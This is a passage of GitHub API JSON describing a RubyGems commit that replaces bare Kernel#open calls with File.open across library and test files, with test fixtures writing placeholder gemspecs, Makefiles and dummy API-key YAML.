else"},{"sha":"849cf3cd3e8ca371aeaed483b568f64542f1664f","filename":"lib/rubygems/security/trust_dir.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/security/trust_dir.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/security/trust_dir.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/security/trust_dir.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -93,7 +93,7 @@ def trust_cert certificate\n \n destination = cert_path certificate\n \n- open destination, ''wb'', @permissions[:trusted_cert] do |io|\n+ File.open destination, ''wb'', @permissions[:trusted_cert] do |io|\n io.write certificate.to_pem\n end\n end"},{"sha":"b28b85066077d909f8bc26ffe498958e8c5c5c8b","filename":"lib/rubygems/source.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -160,7 +160,7 @@ def fetch_spec name_tuple\n if update_cache? then\n FileUtils.mkdir_p cache_dir\n \n- open local_spec, ''wb'' do |io|\n+ File.open local_spec, ''wb'' do |io|\n io.write spec\n end\n end"},{"sha":"ae2effbc84604232fbd1d8db854f5c034a471ad4","filename":"lib/rubygems/stub_specification.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/stub_specification.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -113,6 +113,8 @@ def data\n unless @data\n begin\n saved_lineno = $.\n+\n+ # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.\n open loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line"},{"sha":"70326d82d83b4b7bbe5f7c7ad310fe47e33698cd","filename":"lib/rubygems/test_case.rb","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -488,7 +488,7 @@ def git_gem name = ''a'', version = 1\n \n gemspec = \"#{name}.gemspec\"\n \n- open File.join(directory, gemspec), ''w'' do |io|\n+ File.open File.join(directory, gemspec), ''w'' do |io|\n io.write git_spec.to_ruby\n end\n \n@@ -592,7 +592,7 @@ def mu_pp(obj)\n # Reads a Marshal file at +path+\n \n def read_cache(path)\n- open path.dup.untaint, ''rb'' do |io|\n+ File.open path.dup.untaint, ''rb'' do |io|\n Marshal.load io.read\n end\n end\n@@ -612,7 +612,7 @@ def write_file(path)\n dir = File.dirname path\n FileUtils.mkdir_p dir unless File.directory? dir\n \n- open path, ''wb'' do |io|\n+ File.open path, ''wb'' do |io|\n yield io if block_given?\n end\n \n@@ -727,7 +727,7 @@ def install_default_gems(*specs)\n install_default_specs(*specs)\n \n specs.each do |spec|\n- open spec.loaded_from, ''w'' do |io|\n+ File.open spec.loaded_from, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n end\n@@ -1363,7 +1363,7 @@ def save_gemspec name = ''a'', version = 1, directory = ''.''\n yield specification if block_given?\n end\n \n- open File.join(directory, \"#{name}.gemspec\"), ''w'' do |io|\n+ File.open File.join(directory, \"#{name}.gemspec\"), ''w'' do |io|\n io.write vendor_spec.to_ruby\n end\n "},{"sha":"83c9d2d0fe3f692091ea5fac3d1e7e0bfa687e03","filename":"lib/rubygems/test_utilities.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/test_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/test_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_utilities.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -346,7 +346,7 @@ def spec name, version, dependencies = nil, &block\n end\n \n def write_spec spec # :nodoc:\n- open spec.spec_file, ''w'' do |io|\n+ File.open spec.spec_file, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n end"},{"sha":"6842e4fa9c8d36900d126ba3b5d3b230f1a67018","filename":"lib/rubygems/validator.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/validator.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/validator.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/validator.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -34,7 +34,7 @@ def verify_gem(gem_data)\n # gem_path:: [String] Path to gem file\n \n def verify_gem_file(gem_path)\n- open gem_path, Gem.binary_mode do |file|\n+ File.open gem_path, Gem.binary_mode do |file|\n gem_data = file.read\n verify_gem gem_data\n end\n@@ -109,7 +109,7 @@ def alien(gems=[])\n \n good, gone, unreadable = nil, nil, nil, nil\n \n- open gem_path, Gem.binary_mode do |file|\n+ File.open gem_path, Gem.binary_mode do |file|\n package = Gem::Package.new gem_path\n \n good, gone = package.contents.partition { |file_name|\n@@ -134,7 +134,7 @@ def alien(gems=[])\n \n source = File.join gem_directory, entry[''path'']\n \n- open source, Gem.binary_mode do |f|\n+ File.open source, Gem.binary_mode do |f|\n unless f.read == data then\n errors[gem_name][entry[''path'']] = \"Modified from original\"\n end"},{"sha":"f276014f15d57aa946d78e31b66b3ab524d5d49f","filename":"test/rubygems/test_gem.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -775,7 +775,7 @@ def test_self_prefix_sitelibdir\n end\n \n def test_self_read_binary\n- open ''test'', ''w'' do |io|\n+ File.open ''test'', ''w'' do |io|\n io.write \"\\xCF\\x80\"\n end\n \n@@ -1642,7 +1642,7 @@ def test_use_gemdeps\n spec = Gem::Specification.find { |s| s == spec }\n refute spec.activated?\n \n- open gem_deps_file, ''w'' do |io|\n+ File.open gem_deps_file, ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1661,7 +1661,7 @@ def test_use_gemdeps_ENV\n \n refute spec.activated?\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1705,7 +1705,7 @@ def test_use_gemdeps_automatic\n \n refute spec.activated?\n \n- open ''Gemfile'', ''w'' do |io|\n+ File.open ''Gemfile'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1734,7 +1734,7 @@ def test_use_gemdeps_disabled\n \n refute spec.activated?\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1749,7 +1749,7 @@ def test_use_gemdeps_missing_gem\n skip ''Insecure operation - read'' if RUBY_VERSION <= \"1.8.7\"\n rubygems_gemdeps, ENV[''RUBYGEMS_GEMDEPS''] = ENV[''RUBYGEMS_GEMDEPS''], ''x''\n \n- open ''x'', ''w'' do |io|\n+ File.open ''x'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1790,7 +1790,7 @@ def test_use_gemdeps_specific\n spec = Gem::Specification.find { |s| s == spec }\n refute spec.activated?\n \n- open ''x'', ''w'' do |io|\n+ File.open ''x'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n "},{"sha":"1c5dbfe23e474d9ea41d3032907802ade65d3986","filename":"test/rubygems/test_gem_commands_push_command.rb","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_push_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_push_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_push_command.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -132,7 +132,7 @@ def test_sending_gem_to_metadata_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -166,7 +166,7 @@ def test_sending_gem_to_allowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -193,7 +193,7 @@ def test_sending_gem_to_allowed_push_host_with_basic_credentials\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -235,7 +235,7 @@ def test_sending_gem_to_disallowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -266,7 +266,7 @@ def test_sending_gem_defaulting_to_allowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys"},{"sha":"12addc717a41c5a27e9ff4a2435c337c0e23becd","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -18,17 +18,17 @@ def setup\n FileUtils.mkdir_p ''bin''\n FileUtils.mkdir_p ''lib/rubygems/ssl_certs/rubygems.org''\n \n- open ''bin/gem'', ''w'' do |io| io.puts ''# gem'' end\n- open ''lib/rubygems.rb'', ''w'' do |io| io.puts ''# rubygems.rb'' end\n- open ''lib/rubygems/test_case.rb'', ''w'' do |io| io.puts ''# test_case.rb'' end\n- open ''lib/rubygems/ssl_certs/rubygems.org/foo.pem'', ''w'' do |io| io.puts ''PEM'' end\n+ File.open ''bin/gem'', ''w'' do |io| io.puts ''# gem'' end\n+ File.open ''lib/rubygems.rb'', ''w'' do |io| io.puts ''# rubygems.rb'' end\n+ File.open ''lib/rubygems/test_case.rb'', ''w'' do |io| io.puts ''# test_case.rb'' end\n+ File.open ''lib/rubygems/ssl_certs/rubygems.org/foo.pem'', ''w'' do |io| io.puts ''PEM'' end\n \n FileUtils.mkdir_p ''bundler/exe''\n FileUtils.mkdir_p ''bundler/lib/bundler''\n \n- open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n- open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n- open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n+ File.open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n+ File.open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n+ File.open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n \n FileUtils.mkdir_p ''default/gems''\n \n@@ -38,7 +38,7 @@ def setup\n gemspec.bindir = \"exe\"\n gemspec.executables = [\"bundle\"]\n \n- open ''bundler/bundler.gemspec'', ''w'' do |io|\n+ File.open ''bundler/bundler.gemspec'', ''w'' do |io|\n io.puts gemspec.to_ruby\n end\n \n@@ -181,14 +181,14 @@ def test_remove_old_lib_files\n FileUtils.mkdir_p lib_rubygems_defaults\n FileUtils.mkdir_p lib_bundler\n \n- open securerandom_rb, ''w'' do |io| io.puts ''# securerandom.rb'' end\n+ File.open securerandom_rb, ''w'' do |io| io.puts ''# securerandom.rb'' end\n \n- open old_builder_rb, ''w'' do |io| io.puts ''# builder.rb'' end\n- open old_format_rb, ''w'' do |io| io.puts ''# format.rb'' end\n- open old_bundler_c_rb, ''w'' do |io| io.puts ''# c.rb'' end\n+ File.open old_builder_rb, ''w'' do |io| io.puts ''# builder.rb'' end\n+ File.open old_format_rb, ''w'' do |io| io.puts ''# format.rb'' end\n+ File.open old_bundler_c_rb, ''w'' do |io| io.puts ''# c.rb'' end\n \n- open engine_defaults_rb, ''w'' do |io| io.puts ''# jruby.rb'' end\n- open os_defaults_rb, ''w'' do |io| io.puts ''# operating_system.rb'' end\n+ File.open engine_defaults_rb, ''w'' do |io| io.puts ''# jruby.rb'' end\n+ File.open os_defaults_rb, ''w'' do |io| io.puts ''# operating_system.rb'' end\n \n @cmd.remove_old_lib_files lib\n \n@@ -210,7 +210,7 @@ def test_show_release_notes\n \n @cmd.options[:previous_version] = Gem::Version.new ''2.0.2''\n \n- open ''History.txt'', ''w'' do |io|\n+ File.open ''History.txt'', ''w'' do |io|\n io.puts <<-History_txt\n # coding: UTF-8\n "},{"sha":"d7d736ced4bfd956f04cab7409391c508c1380d9","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -92,7 +92,7 @@ def test_execute_removes_executable\n # Evil hack to prevent false removal success\n FileUtils.rm_f @executable\n \n- open @executable, \"wb+\" do |f| f.puts \"binary\" end\n+ File.open @executable, \"wb+\" do |f| f.puts \"binary\" end\n \n @cmd.options[:executables] = true\n @cmd.options[:args] = [@spec.name]"},{"sha":"3d762916685eb5aa22abcbc7a4773c2aaf0038a9","filename":"test/rubygems/test_gem_dependency_installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_dependency_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_dependency_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_dependency_installer.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -424,7 +424,7 @@ def test_install_dependency_existing_extension\n extconf_rb = File.join @gemhome, ''gems'', ''e-1'', ''extconf.rb''\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |io|\n+ File.open extconf_rb, ''w'' do |io|\n io.write <<-EXTCONF_RB\n require ''mkmf''\n create_makefile ''e''"},{"sha":"8db65d70cefc325ccdba0a0d43bbbefadd2a168b","filename":"test/rubygems/test_gem_doctor.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_doctor.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_doctor.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_doctor.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -24,7 +24,7 @@ def test_doctor\n \n FileUtils.rm b.spec_file\n \n- open c.spec_file, ''w'' do |io|\n+ File.open c.spec_file, ''w'' do |io|\n io.write ''this will raise an exception when evaluated.''\n end\n \n@@ -77,7 +77,7 @@ def test_doctor_dry_run\n \n FileUtils.rm b.spec_file\n \n- open c.spec_file, ''w'' do |io|\n+ File.open c.spec_file, ''w'' do |io|\n io.write ''this will raise an exception when evaluated.''\n end\n "},{"sha":"3dabd3e350fc44ec408300397ad4d5e3b01ec087","filename":"test/rubygems/test_gem_ext_builder.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_ext_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_ext_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_builder.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -32,7 +32,7 @@ def test_class_make\n results = []\n \n Dir.chdir @ext do\n- open ''Makefile'', ''w'' do |io|\n+ File.open ''Makefile'', ''w'' do |io|\n io.puts <<-MAKEFILE\n all:\n \\t@#{Gem.ruby} -e \"puts %Q{all: \\#{ENV[''DESTDIR'']}}\"\n@@ -72,7 +72,7 @@ def test_class_make_no_clean\n results = []\n \n Dir.chdir @ext do\n- open ''Makefile'', ''w'' do |io|\n+ File.open ''Makefile'', ''w'' do |io|\n io.puts <<-MAKEFILE\n all:\n \\t@#{Gem.ruby} -e \"puts %Q{all: \\#{ENV[''DESTDIR'']}}\"\n@@ -107,7 +107,7 @@ def test_build_extensions\n \n extconf_rb = File.join ext_dir, ''extconf.rb''\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n require ''mkmf''\n \n@@ -168,7 +168,7 @@ def Gem.install_extension_in_lib\n \n extconf_rb = File.join ext_dir, ''extconf.rb''\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n require ''mkmf''\n \n@@ -290,7 +290,7 @@ def test_build_extensions_with_build_args\n \n FileUtils.mkdir_p @spec.gem_dir\n \n- open File.join(@spec.gem_dir, \"extconf.rb\"), \"w\" do |f|\n+ File.open File.join(@spec.gem_dir, \"extconf.rb\"), \"w\" do |f|\n f.write <<-''RUBY''\n puts \"IN EXTCONF\"\n extconf_args = File.join File.dirname(__FILE__), ''extconf_args''\n@@ -323,7 +323,7 @@ def test_initialize\n \n build_info_file = File.join build_info_dir, \"#{@spec.full_name}.info\"\n \n- open build_info_file, ''w'' do |io|\n+ File.open build_info_file, ''w'' do |io|\n io.puts ''--with-foo-dir=/nonexistent''\n end\n "},{"sha":"7b3e2739572c803918f42b1195941731f5cc5d6b","filename":"test/rubygems/test_gem_gemcutter_utilities.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_gemcutter_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_gemcutter_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_gemcutter_utilities.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -33,7 +33,7 @@ def test_alternate_key_alternate_host\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -48,7 +48,7 @@ def test_api_key\n keys = { :rubygems_api_key => ''KEY'' }\n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -61,7 +61,7 @@ def test_api_key_override\n keys = { :rubygems_api_key => ''KEY'', :other => ''OTHER'' }\n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -165,7 +165,7 @@ def test_sign_in_with_other_credentials_doesnt_overwrite_other_keys\n other_api_key = ''f46dbb18bb6a9c97cdc61b5b85c186a17403cdcbf''\n \n FileUtils.mkdir_p File.dirname(Gem.configuration.credentials_path)\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write Hash[:other_api_key, other_api_key].to_yaml\n end\n util_sign_in [api_key, 200, ''OK'']"},{"sha":"bc63d9bab1d8ed6e1e985c8faf211b6646b06cd2","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -140,7 +140,7 @@ def test_check_executable_overwrite_format_executable\n s.require_path = ''lib''\n end\n \n- open File.join(util_inst_bindir, ''executable''), ''w'' do |io|\n+ File.open File.join(util_inst_bindir, ''executable''), ''w'' do |io|\n io.write <<-EXEC\n #!/usr/local/bin/ruby\n #"},{"sha":"936df605228d4cda789fec4f580719ed672833d6","filename":"test/rubygems/test_gem_package.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_package.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -24,7 +24,7 @@ def setup\n end\n \n def test_class_new_old_format\n- open ''old_format.gem'', ''wb'' do |io|\n+ File.open ''old_format.gem'', ''wb'' do |io|\n io.write SIMPLE_GEM\n end\n \n@@ -45,7 +45,7 @@ def test_add_checksums\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -110,8 +110,8 @@ def test_add_files\n \n FileUtils.mkdir_p ''lib/empty''\n \n- open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n- open ''lib/extra.rb'', ''w'' do |io| io.write ''# lib/extra.rb'' end\n+ File.open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n+ File.open ''lib/extra.rb'', ''w'' do |io| io.write ''# lib/extra.rb'' end\n \n package = Gem::Package.new ''bogus.gem''\n package.spec = spec\n@@ -140,7 +140,7 @@ def test_add_files_symlink\n spec.files = %w[lib/code.rb lib/code_sym.rb]\n \n FileUtils.mkdir_p ''lib''\n- open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n+ File.open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n \n # NOTE: ''code.rb'' is correct, because it''s relative to lib/code_sym.rb\n File.symlink(''code.rb'', ''lib/code_sym.rb'')\n@@ -179,7 +179,7 @@ def test_build\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -218,7 +218,7 @@ def test_build_auto_signed\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -261,7 +261,7 @@ def test_build_auto_signed_encrypted_key\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -311,7 +311,7 @@ def test_build_signed\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -348,7 +348,7 @@ def test_build_signed_encrypted_key\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -408,7 +408,7 @@ def test_extract_files_empty\n end\n end\n \n- open ''empty.gem'', ''wb'' do |io|\n+ File.open ''empty.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -620,7 +620,7 @@ def test_verify_checksum_bad\n end\n end\n \n- open ''mismatch.gem'', ''wb'' do |io|\n+ File.open ''mismatch.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -670,7 +670,7 @@ def test_verify_checksum_missing\n end\n end\n \n- open ''data_checksum_missing.gem'', ''wb'' do |io|\n+ File.open ''data_checksum_missing.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -773,7 +773,7 @@ def test_verify_security_policy_checksum_missing\n FileUtils.mkdir ''lib''\n FileUtils.touch ''lib/code.rb''\n \n- open @gem, ''wb'' do |gem_io|\n+ File.open @gem, ''wb'' do |gem_io|\n Gem::Package::TarWriter.new gem_io do |gem|\n build.add_metadata gem\n build.add_contents gem\n@@ -804,7 +804,7 @@ def test_verify_security_policy_checksum_missing\n end\n \n def test_verify_truncate\n- open ''bad.gem'', ''wb'' do |io|\n+ File.open ''bad.gem'', ''wb'' do |io|\n io.write File.read(@gem, 1024) # don''t care about newlines\n end\n "},{"sha":"604981b3c1fc9f05f4d11e3471076323c08eba25","filename":"test/rubygems/test_gem_package_old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_package_old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_package_old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_package_old.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -7,7 +7,7 @@ class TestGemPackageOld < Gem::TestCase\n def setup\n super\n \n- open ''old_format.gem'', ''wb'' do |io|\n+ File.open ''old_format.gem'', ''wb'' do |io|\n io.write SIMPLE_GEM\n end\n "},{"sha":"5dc6c1518de743b493aef791fc7379a86fb3b76f","filename":"test/rubygems/test_gem_request_set.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -52,7 +52,7 @@ def test_install_from_gemdeps\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -78,7 +78,7 @@ def test_install_from_gemdeps_explain\n \n rs = Gem::RequestSet.new\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open 